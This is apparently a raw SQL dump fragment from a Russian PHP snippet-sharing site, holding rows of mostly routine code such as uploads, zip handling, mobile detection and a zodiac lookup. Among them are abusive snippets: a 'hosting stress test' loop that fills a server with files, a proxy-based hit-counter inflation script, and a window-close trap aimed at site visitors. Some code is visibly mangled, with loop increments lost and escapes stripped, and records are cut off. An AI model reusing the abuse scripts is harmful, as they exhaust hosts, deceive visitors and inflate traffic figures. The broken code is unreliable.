сразу ее длину.\r\nP.S. К сожалению, данный
тр','<? $string = \'String\'; if (isset($string[5])) { echo \'В
строке больше 5 символов\'; }
?>','files_3899_4260_',1),(20,8,'прикол с
сайтами','зайдите на любой сайт в
адресной строке удалите и напишите вот
ето','javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24;
x4=300; y4=200; x5=300; y5=200; DI=do','files_3208_5213_',1),(21,8,'Не
дает закрывать окно.','пример простой,
часто используется на
порносайтах','<html> <head>
<title>Press ALT+F4</title>
</head> <body
onunload=&','files_5210_2585_',1),(22,8,'накрутка
счетчиков','в файл .тхт писать ип
прокси\r\n\r\nвнизу кода писать адрес
сайта\r\n\r\nлимит времени между запросами
меняется вверху (где тайм
лимит)\r\n\r\n\r\nудачи в накрутке топаф
говношлолопсевдо мастера и удачной
раскрутки своих сайтов
мегамастера','<? set_time_limit(0);
$file=file("proxy.txt"); function get($ip,$port,$path)
{ ','files_3274_3280_',1),(26,9,'Несколько моментов','В
этом коде нет ничего особенного, просто
многие не знают, что можно делать такими
способами.\r\nКод расчитан на новичков,
так что те, кто знает это, прошу не
ворчать, что это стандартные моменты
языка.\r\nДа, стандартные, но, поторюсь, не
все знают, а зря...','<?php #Пример 1.
//вместо длинного условия: if ($i > 1) $color
= \'green\'; else $color = \'black\'; //можно писать так:
$color = ($i > 1) ? \'green\' : \'black\'; /* это 2
полностью альтернативных действия, но
как видите - результат на лицо, код
сокращен и более читабелен. */ #Пример 2.
/* например, после различных фильтраций
переменных, полученных от пользователя,
иногда приходится проверять
их(переменные) на пустоту. обычно все
пишут так: */ if (empty($name)) {} //более
правильный вариант, на мой взгляд, из тех
3ех, которые ниже. //но используют и такие
варианты: if ($name == \'\') {} if ($name == 0) {} if ($name ==
NULL) {} //но на все это, тоже есть
альтернатива, которая записывается
короче: if ($name) {} // вернет 1 и условие
выполнится, если в переменной $name имеется
хотя бы какое-то значение, кроме 0. if (!$name)
{} //означает, что переменная $name пуста,
либо имеет значение 0. /* На этом все,
надеюсь хотя бы кому-то приглянется
такой стиль, ну и вообще кому-то
пригодится эта информация */
?>','files_1572_1667_',1),(27,15,'Тест на прочность
хостинга','создает много файлов. многие
хостера, вырубят ваш сайт после
успешного выполнение этого кода. если
ваш сайт выдержал такую нагрузку, то
прошу вас написать адрес хостера который
вы сидите.','<?php $x=0; while ($x++<1000500100500){
$filename="$x.txt";
file_put_contents($filename,"$x"); }
?>','files_4453_3835_',151),(28,15,'Определение
зодиака!','Определение зодиака!','<?php
function zodiak($mes,$den) { switch($mes) { case 1:
return(20<=$den?\'Водолей\':\'Козерог\'); break; case
2: return(19<=$den?\'Рыба\':\'Водолей\'); break; case 3:
return(21<=$den?\'Овен\':\'Рыба\'); break; case 4:
return(21<=$den?\'Телец\':\'Овен\'); break; case 5:
return(21<=$den?\'Близнецы\':\'Телец\'); break; case
6: return(22<=$den?\'Рак\':\'Близнецы\'); break; case 7:
return(23<=$den?\'Лев\':\'Рак\'); break; case 8:
return(23<=$den?\'Дева\':\'Лев\'); break; case 9:
return(23<=$den?\'Весы\':\'Дева\'); break; case 10:
return(23<=$den?\'Скорпион\':\'Весы\'); break; case 11:
return(22<=$den?\'Стрелец\':\'Скорпион\'); break;
case 12: return(22<=$den?\'Козерог\':\'Стрелец\');
break; } } ?> Применение: <?php echo
zodiak(\'Месяц_рождения\',\'День_рождения\');
?>','files_2949_2541_',151),(29,15,'Отправка
сообщений на email','Отправка сообщений
на\r\nemail','function mail_send ($email, $smail, $subject, $message,
$info = \'\', $pr = \'\' { $email = text_filter ( $email ); $smail =
text_filter ( $smail ); $subject = text_filter ( $subject ); $pr = ( ! $pr
) ? 3 : intval ( $pr ); if ( $info ) $message = $message . \' \' . _IP .
\': \'. getip () . \' \' . _BRO WSER . \': \' . getagent (); $mheader =
\'MIME- Version: 1.0n\' .\'Content- Type: text/ html; charset=\' . _CHARSET
. \'n\' .\'Content- Transfer- Encoding: 8bitn\' .\'Reply- To: "\'
. $smail .\'" <\' . $smail .\'>n\' .\'From:
"\' . $smail .\'" <\' . $smail .\'>n\'
.\'Return- Path: <\' . $smail .\'>n\' .\'X-
Priority:','files_3522_1497_',151),(30,15,'Ссылки без php','Так
я решил избавить все ссылки на сайте от
расширения \\".php\\", сделав все
ссылки более \\"красивыми\\", не
меняя ссылки в более, чем сотне
файлов.\r\nЕстественно, есть и
соответствующий код в
\\".htaccess\\":\r\n\r\nRewriteRule ^([a-z0-9_]+)?$
$1.php [L,QSA]','<?php ob_start();
//.......................................................................
//.......................................................................
//.......................................................................
//.......................................................................
$main_output=ob_get_contents(); ob_end_clean();
$main_output=str_replace(array("\\"thread.php",
"\'thread.php"),
array("\\"thread",
"\'thread"), $main_output);
$main_output=str_replace(array("\\"activitywall.php",
"\'activitywall.php"),
array("\\"activitywall",
"\'activitywall"), $main_output);
$main_output=str_replace(array("\\"topics.php",
"\'topics.php"),
array("\\"topics",
"\'topics"), $main_output);
$main_output=str_replace(array("\\"labels.php",
"\'labels.php"),
array("\\"labels",
"\'labels"), $main_output);
$main_output=str_replace(array("\\"editme.php",
"\'editme.php"),
array("\\"edit", "\'edit"),
$main_output);
$main_output=str_replace(array("\\"ticket.php",
"\'ticket.php"),
array("\\"ticket",
"\'ticket"), $main_output);
$main_output=str_replace(array("\\"support.php",
"\'support.php"),
array("\\"support",
"\'support"), $main_output);
$main_output=str_replace(array("\\"blog.php",
"\'blog.php"),
array("\\"blog", "\'blog"),
$main_output);
$main_output=str_replace(array("\\"help.php",
"\'help.php"),
array("\\"help", "\'help"),
$main_output);
$main_output=str_replace(array("\\"label.php",
"\'label.php"),
array("\\"label", "\'label"),
$main_output);
$main_output=str_replace(array("\\"newblog.php",
"\'newblog.php"),
array("\\"newblog",
"\'newblog"), $main_output);
$main_output=str_replace(array("\\"users.php",
"\'users.php"),
array("\\"users", "\'users"),
$main_output);
$main_output=str_replace(array("\\"user.php",
"\'user.php"),
array("\\"user", "\'user"),
$main_output);
$main_output=str_replace(array("\\"thread.php",
"\'thread.php"),
array("\\"thread",
"\'thread"), $main_output);
$main_output=str_replace(array("\\"ask.php",
"\'ask.php"), array("\\"ask",
"\'ask"), $main_output);
$main_output=str_replace(array("\\"search.php",
"\'search.php"),
array("\\"search",
"\'search"), $main_output);
$main_output=str_replace(array("\\"home.php",
"\'home.php"), array("\\"/",
"\'/"), $main_output); echo $main_output;
?>','files_5188_2274_',151),(31,15,'Определяем
версию сайта','Код работает на 100%, ради
интереса можете проверить незатейливым
условием. Например создайте пустой файл
PHP на хостинге или на локальном сервере с
поддержкой PHP (например Денвер) и
пропишите туда этот код:\r\n\r\nif
(!is_mobile()){\r\necho \'Ты с компа\';\r\n}else{\r\necho \'Ты с
телефона\';\r\n}\r\n\r\nЗатем попробуйте зайти
на этот файл с обычного браузера
компьютера, после с мобильного браузера
через эмулятор или с телефона, увидите
как код работает безошибочно определяя
вашу принадлежность к мобильному
пользователю или стационарному. В
заключении повторюсь — не пренебрегайте
мобильной версией сайта, так как за
мобильным интернетом
будущее.','/*--------------------------------------------------------------------
# Определяем пренадлежность браузера к
мобильным устройствам # Возвращает false -
если браузер не определен или
стационарный # и от 1 до 4 (зависит от типа
определения) - если браузер относится к
мобильным устройствам
--------------------------------------------------------------------*/
function is_mobile() { $user_agent=strtolower(getenv(\'HTTP_USER_AGENT\'));
$accept=strtolower(getenv(\'HTTP_ACCEPT\')); if
((strpos($accept,\'text/vnd.wap.wml\')!==false) ||
(strpos($accept,\'application/vnd.wap.xhtml+xml\')!==false)) { return 1; //
Возращает 1 если мобильный браузер
определен по HTTP-заголовкам } if
(isset($_SERVER[\'HTTP_X_WAP_PROFILE\']) ||
isset($_SERVER[\'HTTP_PROFILE\'])) { return 2; // Возвращает 2
если мобильный браузер определен по
установкам сервера } if (preg_match(\'/(mini
9.5|vx1000|lge |m800|e860|u940|ux840|compal|\'. \'wireless|
mobi|lg380|ahong|lgku|lgu900|lg210|lg47|lg920|lg840|\'.
\'lg370|sam-r|mg50|s55|g83|mk99|vx400|t66|d615|d763|sl900|el370|\'.
\'mp500|samu4|samu3|vx10|xda_|samu6|samu5|samu7|samu9|a615|b832|\'.
\'m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|\'.
\'r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|\'.
\'i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|\'.
\'htil-g1|fly v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|\'.
\'sanyo|vx54|c888|nx250|n120|mtk |c5588|s710|t880|c5005|i;458x|\'.
\'p404i|s210|c5100|s940|teleca|c500|s590|foma|vx8|samsu|vx9|a1000|\'.
\'_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|\'.
\'s800|8325rc|ac831|mw200|brew |d88|htc\\/|htc_touch|355x|m50|km100|\'.
\'d736|p-9521|telco|sl74|ktouch|m4u\\/|me702|8325rc|kddi|phone|lg |\'.
\'sonyericsson|samsung|nokia|240x|x320vx10|sony cmd|motorola|\'.
\'up.browser|up.link|mmp|symbian|android|tablet|iphone|ipad|mobile|smartphone|j2me|wap|vodafone|o2|\'.
\'pocket|kindle|mobile|psp|treo)/\', $user_agent)) { return 3; //
Возвращает 3 если мобильный браузер
определен по сигнатуре User Agent } if
(in_array(substr($user_agent,0,4), Array("1207",
"3gso", "4thp",
"501i", "502i",
"503i", "504i",
"505i", "506i",
"6310", "6590",
"770s", "802s", "a
wa", "abac", "acer",
"acoo", "acs-",
"aiko", "airn",
"alav", "alco",
"alca", "amoi",
"anex", "anyw",
"anny", "aptu",
"arch", "asus",
"aste", "argo",
"attw", "au-m",
"audi", "aur ", "aus
", "avan", "beck",
"bell", "benq",
"bilb", "bird",
"blac", "blaz",
"brew", "brvw",
"bumb", "bw-n",
"bw-u", "c55/",
"capi", "ccwa",
"cdm-", "cell",
"chtm", "cldc",
"cmd-", "dmob",
"cond", "craw",
"dait", "dall",
"dang", "dbte",
"dc-s", "devi",
"dica", "doco",
"dopo", "ds-d",
"ds12", "el49",
"elai", "eml2",
"emul", "eric",
"erk0", "esl8",
"ez40", "ez60",
"ez70", "ezos",
"ezwa", "ezze",
"fake", "fetc",
"fly-", "fly_",
"g-mo", "g1 u",
"g560", "gene",
"gf-5", "go.w",
"good", "grad",
"grun", "haie",
"hcit", "hd-m",
"hd-p", "hd-t",
"hei-", "hiba",
"hipt", "hita", "hp
i", "hpip", "hs-c",
"htc ", "htc-",
"htc_", "htca",
"htcg", "htcp",
"htcs", "htct",
"http", "hutc",
"huaw", "i-20",
"i-go", "i-ma",
"i230", "iac",
"iac-", "iac/",
"ibro", "idea",
"ig01", "ikom",
"im1k", "inno",
"ipaq", "iris",
"jata", "java",
"jbro", "jemu",
"jigs", "kddi",
"keji", "kgt",
"kgt/", "klon", "kpt
", "kwc-", "kyoc",
"kyok", "leno",
"lexi", "lg g",
"lg-a", "lg-b",
"lg-c", "lg-d",
"lg-f", "lg-g",
"lg-k", "lg-l",
"lg-m", "lg-o",
"lg-p", "lg-s",
"lg-t", "lg-u",
"lg-w", "lg/k",
"lg/l", "lg/u",
"lg50", "lg54",
"lge-", "lge/",
"libw", "lynx",
"m-cr", "m1-w",
"m3ga", "m50/",
"mate", "maui",
"maxo", "mc01",
"mc21", "mcca",
"medi", "merc",
"meri", "midp",
"mio8", "mioa",
"mits", "mmef",
"mo01", "mo02",
"mobi", "mode",
"modo", "mot ",
"mot-", "moto",
"motv", "mozz",
"mt50", "mtp1", "mtv
", "mwbp", "mywa",
"n100", "n101",
"n102", "n202",
"n203", "n300",
"n302", "n500",
"n502", "n505",
"n700", "n701",
"n710", "nec-",
"nem-", "neon",
"netf", "newg",
"newt", "nok6",
"noki", "nzph", "o2
x", "o2-x", "o2im",
"opti", "opwv",
"oran", "owg1",
"p800", "palm",
"pana", "pand",
"pant", "pdxg",
"pg-1", "pg-2",
"pg-3", "pg-6",
"pg-8", "pg-c",
"pg13", "phil",
"pire", "play",
"pluc", "pn-2",
"pock", "port",
"pose", "prox",
"psio", "pt-g",
"qa-a", "qc-2",
"qc-3", "qc-5",
"qc-7", "qc07",
"qc12", "qc21",
"qc32", "qc60",
"qci-", "qtek",
"qwap", "r380",
"r600", "raks",
"rim9", "rove",
"rozo", "s55/",
"sage", "sama",
"sams", "samm",
"sany", "sava",
"sc01", "sch-",
"scoo", "scp-",
"sdk/", "se47",
"sec-", "sec0",
"sec1", "semc",
"send", "seri",
"sgh-", "shar",
"sie-", "siem",
"sk-0", "sl45",
"slid", "smal",
"smar", "smb3",
"smit", "smt5",
"soft", "sony",
"sp01", "sph-", "spv
", "spv-", "sy01",
"symb", "t-mo",
"t218", "t250",
"t600", "t610",
"t618", "tagt",
"talk", "tcl-",
"tdg-", "teli",
"telm", "tim-",
"topl", "treo",
"tosh", "ts70",
"tsm-", "tsm3",
"tsm5", "tx-9",
"up.b", "upg1",
"upsi", "utst",
"v400", "v750",
"veri", "virg",
"vite", "vk-v",
"vk40", "vk50",
"vk53", "vk52",
"vm40", "vulc",
"voda", "vx52",
"vx53", "vx60",
"vx61", "vx70",
"vx80", "vx81",
"vx83", "vx85",
"vx98", "w3c ",
"w3c-", "wap-",
"wapa", "wapi",
"wapj", "wapp",
"wapm", "wapr",
"waps", "wapt",
"wapu", "wapv",
"wapy", "webc",
"whit", "wig ",
"winc", "winw",
"wmlb", "wonu",
"x700", "xda-",
"xdag", "xda2",
"yas-", "your",
"zeto", "zte-"))) { return 4; //
Возвращает 4 если мобильный браузер
определен по сигнатуре User Agent } return false; //
Возвращает false если мобильный браузер не
определен или браузер стационарный }
//////////////////////////// Далее можно
использовать функцию is_mobile(); как вам
требуется. Можно выводить с ее помощью
разные файлы CSS для мобильного браузера
или стационарного. Примитивный пример: if
(!is_mobile()){ echo\'<link rel="stylesheet"
href="/web.css"
type="text/css"/>\'; }else{ echo\'<link
rel="stylesheet" href="/wap.css"
type="text/css"/>\';
}','files_1393_5234_',151),(32,9,'Вывод размера в
байтах,килобайтах и мегабайтах','Вывод
размера в байтах,килобайтах и
мегабайтах','<?phpfunction ConvertBytes($number){$len =
strlen ($number);if ($len < 4){ return sprintf("%d
b", $number); }if ($len>= 4 && $len
<=6){ return sprintf("%0.2f Kb", $number/1024);
}if ($len>= 7 && $len <=9){ return
sprintf("%0.2f Mb", $number/1024/1024); }return
sprintf("%0.2f Gb",
$number/1024/1024/1024);}ConvertBytes(intval($_GET[\'size\']));?>','files_3842_2408_',151),(33,9,'Генератор
грандиентов','Полезный код;)','//определяем
тип: вертикальный или горизонтальный$type =
(isset($_GET[\'type\']) && $_GET[\'type\'] == \'g\') ?
\'g\' : \'v\';//определяем высоту$height =
(isset($_GET[\'h\'])) ? intval($_GET[\'h\']) : 100;//определяем
ширину$width = (isset($_GET[\'w\'])) ? intval($_GET[\'w\']) :
60;//определяем цвета$start = (isset($_GET[\'s\'])
&& preg_match(\'#[0-9A-F]{6}#\',$_GET[\'s\'])) ?
$_GET[\'s\'] : \'000000\';$end = (isset($_GET[\'e\']) &&
preg_match(\'#[0-9A-F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] :
\'FFFFFF\';//определяем RGB этих цветов$start_r=
hexdec(substr($start, 0, 2));$start_g = hexdec(substr($start, 2,
2));$start_b = hexdec(substr($start, 4, 2));$end_r = hexdec(substr($end, 0,
2));$end_g = hexdec(substr($end, 2, 2));$end_b = hexdec(substr($end, 4,
2));//создаём картинку$image = imagecreate($width,
$height);//определяем тип и рисуем
градиентif($type == \'g\'){ for($x=0; $x<$width; $x ){
$new_r = $start_r - intval(($start_r - $end_r) / $width * $x); $new_g =
$start_g - intval(($start_g - $end_g) / $width * $x); $new_b = $start_b -
intval(($start_b - $end_b) / $width * $x); $row_color =
imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, $x, 0,
$x, $height, $row_color); }}else{ for($y=0; $y<$height; $y ){ $new_r
= $start_r - intval(($start_r - $end_r) / $height * $y); $new_g = $start_g
- intval(($start_g - $end_g) / $height * $y); $new_b = $start_b -
intval(($start_b - $end_b) / $height * $y); $row_color =
imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, 0, $y,
$width, $y, $row_color); }}header(\'Content-type:
image/png\');imagepng($image);imagedestroy($image);','files_5533_2365_',151),(34,9,'Генератор
случайного текста','Этот класс
предназначен для добавления в текст
случайных слов из указанного списка.
Потребность может быть вызвана, например
для формирования ссылок на Ваш сайт для
предотвращения "склейки"
ссылок поисковыми системами.Например,
строка: "Моя голова
(машет|трясет|кивает|шевелит) ушами"
может быть возвращаена как:Моя голова
машет ушамиМоя голова трясет ушамиМоя
голова кивает ушамиМоя голова
шевелит','<?phpclass alternate { var $s;var $pattern;
function ms () {//seeding list($usec, $sec) = explode(\' \', microtime());
return (float) $sec ((float) $usec * 100000); srand(make_seed()); }
function bracket ($str) { //returns bracket code if
(!strcmp($str,"(")) {return 1;} elseif
(!strcmp($str,")")) {return -1;} else {return 0;} }
function alternate ($s="") { $this->ms();
$this->s=$s;
$this->pattern="/(([^(]*?))/m"; while
(preg_match($this->pattern,$this->s)!=0)
$this->s=preg_replace_callback ($this->pattern,
create_function (\'$matches\',
\'$store=explode("|",$matches[1]);
$store=explode("|",$matches[1]);
$rand_key=$store[array_rand($store,1)]; return $rand_key;\'),
$this->s); }}$str=htmlspecialchars($_GET[\'str\']);if (!empty($str))
{$alter=new alternate ($str); print
"<br>nИсходная строка:
<b>".$str."</b><br>nРезультат:
<b>".($alter->s)."</b><br>n";}<p><form
name="form"
method="get">Строка для
преобразования:<input name="str"
type="text" style="width:300px;"
/></form></p>?>','files_4652_3487_',151),(35,9,'"Обёртка"
для работы с бд PDO','Критикуйте кароче
полностью :D ибо я рад буду критике ну в
данном случае рад','<?php class sql { private $db;
private $count = 0; public function __construct
($host,$user,$pass,$name,$charset = \'utf-8\') { $dsn =
\'mysql:host=\'.$host.\';dbname=\'.$db.\';charset=\'.$charset;
$this->db = new PDO($dsn, $user, $pass);
$this->db->query(\'SET NAMES \'.$charset); } public function
num_rows ($sql, $value=NULL) { if ($this->db == FALSE) { return
FALSE; } $this->count++; if ($value == NULL) { return
$this->db->query($sql)->rowCount(); } if ($value !=
NULL) { $query=$this->db->prepare($sql);
$query->execute($value); return $query->rowCount(); } }
public function query ($sql, $value=NULL) { if ($this->db == FALSE)
{ return FALSE; } $this->count++; if ($value == NULL) { return
$this->db->query($sql); } if ($value != NULL) {
$query=$this->db->prepare($sql);
$query->execute($value); return $query; } } public function check
($var) { if ($this->db == FALSE) { return FALSE; } return
$this->db->quote($var); } public function fetch_assoc
($query) { if ($this->db == FALSE) { return FALSE; } return
$query->fetch(PDO::FETCH_ASSOC); } public function fetch_array
($query) { if ($this->db == FALSE) { return FALSE; } return
$query->fetch(PDO::FETCH_ARRAY); } public function set ($key,
$value) { $this->db->setAttribute($key, $value); } public
function result ($query) { if ($this->db == FALSE) { return FALSE; }
return $query->rowCount(); } }
?>','files_2550_3405_',151),(36,9,'Рандом чисел','Как
на http://random.org','<?php if(isset($_POST[\'submit\'])){
if($_POST[\'ot\'] != 1) $random = \'Результат: \'.mt_rand(1,
$_POST[\'do\']).\'<hr />\'; else $random =
\'Результат: \'.mt_rand(1,
($_POST[\'do\']-$_POST[\'ot\'])).\'<hr />\'; } echo
\'<form
method="post">\'.$random.\'<br />
От:<br /> <input type="text"
name="ot" value="1" /><br
/> До:<br /> <input
type="text" name="do"
value="100" /><br /> <input
type="submit" name="submit"
value="Получить" /> <input
type="submit" name="refresh"
value="Обновить"
/></form>\';
?>','files_2739_4985_',151),(37,9,'Обрезка
ссылки','Обрезает ссылку','$link =
htmlspecialchars($_SERVER[\'HTTP_REFERER\']);
preg_match("/^(http://?[^/]+)/i",$link,$link2);
print_r($link2[1]);','files_4996_2938_',151),(38,10,'Листинг RAR
архива','Простой способ просмотреть RAR
архив','<?php function sizer($s) { $o=1; while($s>1024)
{ $s = round($s / 1024, 1); $o++; } switch($o) { case(1): $o=\'b\'; break;
case(2): $o=\'Kb\'; break; case(3): $o=\'Mb\'; break; case(4): $o=\'Gb\';
break; } return $s.$o; } $filepath = \'test.rar\'; $rar =
rar_open($filepath) or die (\'Ошибка открытия RAR
архива\'); $list = rar_list($rar); $c = count($list);
echo\'Обьектов: \'.$c.\'<hr/>\'; for($i = 0;
$i<$c; $i++) { echo $list[$i]->name.\' [\'.sizer($list[$i]-
>unpacked_size).\'/\'.sizer($list[$i]-
>packed_size).\']<br/>\'; } rar_close($rar);
?>','files_4448_3536_',151),(39,10,'Лепим копирайт на
ZIP-архив','Лепим копирайт на
ZIP-архив','<?php $filepath = \'my_archive.zip\'; $zip = new
ZipArchive; if ($zip->open($filepath) === TRUE) {
//$zip->addFile(\'/papka/ReadMe_PHPcodes.RU.txt\',
\'ReadMe_PHPcodes.RU.txt\'); $zip->setArchiveComment(\'PHPcodes.RU
- супер-пупер-мего сайт!\');
$zip->addFromString(\'ReadMe_PHPcodes.RU.txt\',\'Скачано с
PHPcodes.RU\'); $zip->close(); echo\'гуд\'; } else {
echo\'ой!\'; } ?>','files_3086_1596_',151),(40,10,'Одним
кликом','С помощью этого кода можно
например всем игрокам дать игровую
валюту. Так же если у игроков пустые поля
в базе! Можно их заполнить чтобы не
мучатся!\r\nИнструкция! Прописать код где
хочешь(на 3 сек). Зайти как пользователь
на ту страницу где в корне лежит код и
обновить страницу! Все код можно удалять!
Если код оставить то игрокам всегда
будет что то даватся!','$sql =
mysql_query("SELECT * FROM `(к примеру)user`;");
while ($req = mysql_fetch_array($sql)) { mysql_query ("UPDATE `(к
примеру)user` SET `(например золото)gold` =
\'(значение)11\' WHERE
`id`=\'".$req[\'id\']."\';");
}','files_1751_1530_',151),(41,10,'использую в своих
проектах','использую в своих
проектах','<?php // upload.php // if
(!empty($_FILES[\'files\'][\'name\'][0])) { $files = $_FILES[\'files\'];
$uploaded = array(); $failed = array(); $allowed = array(\'txt\',
\'zip\'); foreach ($files[\'name\'] as $position => $file_name) {
$file_tmp = $files[\'tmp_name\'][$position]; $file_size =
$files[\'size\'][$position]; $file_error = $files[\'error\'][$position];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION); if
(in_array($file_ext, $allowed)) { if ($file_error === 0) { if ($file_size
<= 2097152) { $file_name_new = uniqid(\'\', true) . \'.\' .
$file_ext; $file_descination = \'uploads/\' . $file_name_new; if
(move_uploaded_file($file_tmp, $file_descination)) { $uploaded[$position] =
"[$file_name]: успешно загружен"; } else {
$failed[$position] = "[$file_name]: возникла ошибка
при загрузке файла"; } } else { $failed[$position]
= "[$file_name]: расширение файла
превышает допустимые значения"; } }
else { $failed[$position] = "[$file_name]: возникла
ошибка при загрузке файла"; } } else {
$failed[$position] = "Расширение файла
[{$file_name}]: <b>{$file_ext}</b>"; }
} if (!empty($uploaded)) { print_r($uploaded); } if (!empty($failed)) {
print_r($failed); } } ?> // index.php // <!DOCTYPE
HTML> <html> <head> <meta
http-equiv="content-type"
content="text/html" /> <meta
name="author" content="admin" />
<title>Мультизагрузка</title>
</head> <body> <form
action="upload.php" method="POST"
enctype="multipart/form-data"> <input
type="file" name="files[]"
multiple> <input type="submit"
value="Загрузить"/> </form>
</body>
</html>','files_4920_5059_',151),(42,10,'загрузка
файлов на сервер','использую в своих
проектах, может и вам пригодится','<?php
// upload.php // if (isset($_FILES[\'file\'])) { $file = $_FILES[\'file\'];
// параметры файла $file_name = $file[\'name\']; $file_tmp =
$file[\'tmp_name\']; $file_error = $file[\'error\']; $file_size =
$file[\'size\']; $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
$allowed = array(\'txt\', \'zip\'); if (in_array($file_ext, $allowed)) {
if ($file_error === 0) { if ($file_size <= 2097152) { $file_new_name
= uniqid(\'\', true) . \'.\' . $file_ext; $file_descination = \'uploads/\'
. $file_new_name; if (move_uploaded_file($file_tmp, $file_descination)) {
echo $file_descination; } } } } } ?> // index.php //
<!DOCTYPE HTML> <html> <head>
<meta http-equiv="content-type"
content="text/html" /> <meta
name="author" content="admin" />
<title>Загрузка файла</title>
</head> <body> <form
action="upload.php" method="POST"
enctype="multipart/form-data"> <input
type="file" name="file"/>
<input type="submit"
value="Загрузить"/> </form>
</body>
</html>','files_2963_4830_',151),(43,10,'создание zip
архивов','Мини-класс для работы с zip
архивами.','<?php //Zipper.class.php// class Zipper {
private $_files = array(), $_zip; public function __construct() { //
вызываем класс архиватора $this->_zip = new
ZipArchive; } public function add($input) { if (is_array($input)) { //
если добавляем несколько файлов
$this->_files = array_merge($this->_files, $input); } else {
// добавление одного файла $this->_files[] =
$input; } } public function store($location = null) { if
(count($this->_files) && $location) { // если
есть файлы, и правильный путь, где будет
создан новый архив foreach ($this->_files as $index
=> $file) { // удаляем файлы с не верными
путями if (!file_exists($file)) {
unset($this->_files[$index]); } } if
($this->_zip->open($location, file_exists($location) ?
ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE)) { // создаем архив
foreach ($this->_files as $file) { // добаляем в архив
файлы $this->_zip->addFile($file, $file); }
$this->_zip->close(); // закрывем архив } } } }
?> Пример использования $zip = new Zipper;
$zip->add(array(\'files/1.txt\', \'files/2.txt\', \'files/3.txt\',
\'files/4.txt\')); // добавление файлов в архив
$zip->store(\'files/archiv.zip\'); // создание
архива','files_5178_4567_',151),(44,10,'Рекурсивное
удалени папки','Функция рекурсивно
удаляет все\r\nвложенные папки и
файлы','function full_del_dir ($directory ) 2. { 3. $dir = opendir(
$directory ) ; 4. while (( $file= readdir ( $dir ))) 5. { 6. if ( is_file
($directory . "/" . $file )) 7. unlink ( $directory .
"/" . $file) ; 8. elseif ( is_dir ($directory .
"/" . $file ) && ($file !=
"." ) && ( $file !=
".." )) 9. full_del_dir ($directory .
"/" . $file ) ; 0. } 1. closedir ( $dir ) ; 2. rmdir (
$directory ) ; 3. return TRUE; 4.
}','files_2965_3616_',151),(45,10,'Массовое
переименование файлов','Укажем скрипту
папку с тхт файлами он поочередно
переименовывает их по порядку
site_ru_1,site_ru_2,site_ru_3,site_ru_4,site_ru_5 и тд','<?php
chdir(\'./dir\'); // пака где лежит файлы $files =
glob(\'*.3gp\'); // формат файлов foreach ($files as $n
=> $file) { rename($file, \'site_ru_\'.$n.\'.3gp\'); // новая
названия файлов. сменим site_ru на свой }
?>','files_2329_2457_',151),(46,10,'Класс автолоада
файлов','Уплоад сис
файлов.','spl_autoload_register(\'auto\'); function auto($name) {
$file = \'Папка с сис файлами/\' . $name . \'.php\'; if
(file_exists($file)) require_once($file);
}','files_2269_2656_',151),(47,10,'Проверка
доступности/существования
файла','Например вы пишите ЗЦ, и импорт к
нему, но при импорте не существующего
файла данные запишутся в бд, и выведется
файл весом в 0 байт. Так мы будем
проверять функцей get_headers() существование
файла. Если файл существует выдаётся в
ответ код 200OK если его нет либо сайт не
доступен будет ошибка 404','function TestFile($file){
$array=get_headers($file); if (preg_match(\'|200|i\',$array[\'0\'])){
$ok=\'1\'; }else{ $ok=\'0\'; } return $ok; } Потом в файле
где импорт инклудим функцию что выше, и
добавляем в вывод ошибок if
(TestFile($переменная_url) != \'1\'){echo \'Ошибка.
файл не доступен, либо не
существует\';}','files_5297_4878_',151),(48,10,'PHP - код
для редактирования файла','Код для
редактирования и последующего вывода
html-кода на страницы. Можно вставить в
админку в качестве модуля управления
рекламой на страницах, например','<?PHP
echo \'<html><head><meta
http-equiv="content-type"
content="application/xhtml+xml;
charset=utf-8"/></head><body>\';
$act = htmlspecialchars($_GET[\'act\']); switch ($act) { default: echo
\'Редактирование<br />\'; //Достаем
исходное содержимое файла $dat =
stripslashes(file_get_contents($_SERVER[\'DOCUMENT_ROOT\'].\'/text.txt\'));
echo \'<form action="?act=ok"
method="post"> <textarea
name="edit" cols="38"
rows="8">\'.$dat.\'</textarea><br
/> <input name="ok"
type="submit" value="Изменить"
/> </form><br />\'; break; case \'ok\':
echo \'Результат<br />\'; $edit =
htmlspecialchars($_POST[\'edit\']); if(mb_strlen($edit) > 10000)
//Если ввели более 10000 символов { echo
\'Ошибка! Слишком большой текст!<br
/>\'; } else { $fp =
fopen($_SERVER[\'DOCUMENT_ROOT\'].\'/text.txt\',\'w\'); fwrite($fp,$edit);
fclose($fp); echo \'Текст успешно
отредактирован!<br />\'; } break; } echo
"</body></html>"; ?>
//А это пишем в месте вывода echo
stripslashes(htmlspecialchars_decode(file_get_contents($_SERVER[\'DOCUMENT_ROOT\'].\'/text.txt\')));','files_4986_4437_',151),(49,10,'Функция
вырезания всех нечитаемых
символов','Функция вырезания всех
нечитаемых символов','function EscText( $text , $br =
null ) // Вырезает все нечитаемые символы { if
( $br != null ) for ( $i = 0 ; $i <= 31; $i ++) $text = str_replace
(chr ($i ), null , $text ); else { for ( $i = 0 ; $i < 10 ; $i ++)
$text = str_replace ( chr( $i ), null , $text ); for ( $i = 11 ; $i
< 20 ; $i ++) $text = str_replace ( chr( $i ), null , $text ); for (
$i = 21 ; $i <= 31; $i ++) $text = str_replace ( chr( $i ), null ,
$text ); } return $text ; }','files_2753_2528_',151),(50,10,'функция
ВВ кодов','функция ВВ кодов','function bb_code ($text
) { $text = preg_replace ( \'/[b](.+)[/b]/sU\' ,
\'<b>1</b>\' , $text ); $text = preg_replace (
\'/[i](.+)[/i]/sU\' , \'<i>1</i>\' , $text );
$text = preg_replace ( \'/[u](.+)[/u]/sU\' ,
\'<u>1</u>\' , $text ); $text = preg_replace (
\'/[s](.+)[/s]/sU\' , \'<s>1</s>\' , $text );
$text = preg_replace ( \'/\' . preg_quote (\'[url=\' ).
\'(.+)](.+)&#9 2;[/url]/sU\' , \'<a h $text = preg_replace (
